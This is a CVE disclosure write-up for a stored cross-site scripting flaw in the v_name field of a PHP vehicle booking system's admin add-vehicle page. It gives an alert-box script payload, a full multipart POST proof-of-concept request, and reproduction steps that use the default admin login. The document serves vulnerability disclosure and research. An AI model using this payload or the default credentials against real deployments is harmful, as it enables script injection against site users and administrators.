CVE-2022-43084: CVE_Hunter/XSS-5.md at main · Tr0e/CVE_Hunter

Vulnerability Description

Vehicle Booking System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the admin-add-vehicle.php. It is an open source project from https://codeastro.com/ . This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the v_name parameter.

1. Vulnerability Submitter: Tr0e

2. vendors: Vehicle Booking System in PHP with Source Code - CodeAstro

3. The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version

4. Vulnerability location: /VehicleBooking-PHP/admin/admin-add-vehicle.php

Vulnerability Verification

[+] Payload:

<script>alert(“XSS”)</script>

POC：

POST http://192.168.0.120:91/VehicleBooking-PHP/admin/admin-add-vehicle.php HTTP/1.1 Host: 192.168.0.120:91 Content-Length: 905 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.0.120:91 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHwRD9k9A7fnBXCiu User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.120:91/VehicleBooking-PHP/admin/admin-add-vehicle.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=ldi7mdlvm8g7bnfhunuvrhp8ne Connection: close

------WebKitFormBoundaryHwRD9k9A7fnBXCiu Content-Disposition: form-data; name="v_name"

<script>alert(“XSS”)</script> ------WebKitFormBoundaryHwRD9k9A7fnBXCiu Content-Disposition: form-data; name="v_reg_no"

aaa ------WebKitFormBoundaryHwRD9k9A7fnBXCiu Content-Disposition: form-data; name="v_pass_no"

111 ------WebKitFormBoundaryHwRD9k9A7fnBXCiu Content-Disposition: form-data; name="v_driver"

Demo User ------WebKitFormBoundaryHwRD9k9A7fnBXCiu Content-Disposition: form-data; name="v_category"

Bus ------WebKitFormBoundaryHwRD9k9A7fnBXCiu Content-Disposition: form-data; name="v_status"

Booked ------WebKitFormBoundaryHwRD9k9A7fnBXCiu Content-Disposition: form-data; name="v_dpic"; filename="Tr0e.jpg" Content-Type: image/jpeg

123 ------WebKitFormBoundaryHwRD9k9A7fnBXCiu Content-Disposition: form-data; name="add_veh"

------WebKitFormBoundaryHwRD9k9A7fnBXCiu–

How to verify

1. Build the vulnerability environment according to the steps provided by the source code author;
2. log in to the background management system through the default account and password（Email: [email protected] Password: codeastro.com）;
3. The vulnerability lies in the “Vehicles - Add - Add Vehicle” function, you should inserts Payload when you Add Vehicle, as shown in the following figure：